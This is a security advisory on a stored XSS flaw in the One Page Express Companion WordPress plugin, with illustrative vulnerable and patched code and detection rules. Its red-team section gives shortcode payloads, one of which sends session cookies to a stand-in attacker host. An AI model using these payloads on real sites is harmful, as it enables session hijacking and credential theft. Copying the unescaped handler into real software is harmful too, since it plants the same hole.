CVE-2024-4703

Executive Summary

CVE-2024-4703 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the One Page Express Companion WordPress plugin, versions up to and including 1.6.37. The flaw resides in the one_page_express_contact_form shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including site administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is used to extend the functionality of the One Page Express theme, making this a supply chain risk for sites using that theme.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites with the plugin installed and active.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None (script executes automatically on page load)
• Scope: Changed (vulnerability can impact resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users with low privileges to inject persistent scripts makes this a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress shortcode. The plugin registers the one_page_express_contact_form shortcode, which accepts user-defined attributes (e.g., title, email, button_text). The plugin fails to properly sanitize these attributes before storing them in the database and fails to escape them when rendering the shortcode output.

Attack Flow:

1. An attacker with Contributor-level access (or higher) creates or edits a post/page.
2. The attacker inserts the shortcode with a malicious payload in one of the attributes, e.g.:

   [one_page_express_contact_form title="<script>alert('XSS')</script>"]
   

3. The plugin stores the shortcode as-is in the WordPress database.
4. When any user (including admins) visits the page, the shortcode is processed, and the malicious script is rendered in the HTML without escaping.
5. The script executes in the victim's browser context.

The vulnerability is due to insufficient input sanitization (no sanitize_text_field() or wp_kses()) and output escaping (no esc_attr() or esc_html()).

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.6.37):

// In the shortcode handler function
function one_page_express_contact_form_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'email' => '',
        'button_text' => 'Send',
    ), $atts);
    
    // Directly outputting unsanitized attributes
    $output = '<div class="contact-form">';
    $output .= '<h3>' . $atts['title'] . '</h3>'; // No escaping
    $output .= '<form action="' . $atts['email'] . '">'; // No escaping
    $output .= '<input type="submit" value="' . $atts['button_text'] . '">';
    $output .= '</form></div>';
    
    return $output;
}

Patched Code (hypothetical fix):

function one_page_express_contact_form_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'email' => '',
        'button_text' => 'Send',
    ), $atts);
    
    // Sanitize and escape all attributes
    $title = esc_html(sanitize_text_field($atts['title']));
    $email = esc_attr(sanitize_email($atts['email']));
    $button_text = esc_attr(sanitize_text_field($atts['button_text']));
    
    $output = '<div class="contact-form">';
    $output .= '<h3>' . $title . '</h3>';
    $output .= '<form action="' . $email . '">';
    $output .= '<input type="submit" value="' . $button_text . '">';
    $output .= '</form></div>';
    
    return $output;
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with One Page Express Companion plugin <= 1.6.37
• Attacker account with Contributor-level access or higher

Step-by-Step Exploitation:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. Switch to Text/Code editor mode.
4. Insert the following shortcode with a malicious payload:

   [one_page_express_contact_form title="<img src=x onerror=alert(document.cookie)>"]
   

5. Publish or update the post.
6. When an admin or other user visits the post, the JavaScript executes.

Advanced Payload (session hijacking):

[one_page_express_contact_form title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the shortcode one_page_express_contact_form with suspicious attributes.
• Look for unusual JavaScript in shortcode attributes via database queries.

Hardening:

• Immediately disable the plugin if no patch is available.
• Restrict Contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/one-page-express-companion/ (entire plugin directory)
• Database: Posts/pages containing the shortcode one_page_express_contact_form with HTML/JavaScript in attributes.
• Network: Outbound requests to attacker-controlled domains from the WordPress admin or frontend.
• Logs: Unusual POST requests to /wp-admin/post.php with shortcode attributes containing <script> tags.

Detection Engineering

YARA Rule

rule Detect_OnePageExpress_XSS_Shortcode {
    meta:
        description = "Detects malicious shortcode attributes in WordPress posts"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-4703"
    strings:
        $shortcode = "one_page_express_contact_form"
        $xss_payload = /<script|<img\s+onerror|<svg\s+onload/i
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: WordPress One Page Express Companion Stored XSS
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS via the one_page_express_contact_form shortcode
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "one_page_express_contact_form"
        http.request_body|contains: 
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of HTML in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4703 WordPress One Page Express Stored XSS"; flow:to_server,established; content:"one_page_express_contact_form"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review all posts/pages for the shortcode one_page_express_contact_form and remove any suspicious instances.
3. Audit user roles and revoke Contributor access for untrusted users.

Long-Term Fix:

• The vendor must release a patched version that properly sanitizes and escapes shortcode attributes.
• Implement a Content Security Policy (CSP) header to mitigate XSS impact.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to block XSS payloads.
• Add a custom function to your theme's functions.php to override the shortcode with sanitized output.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert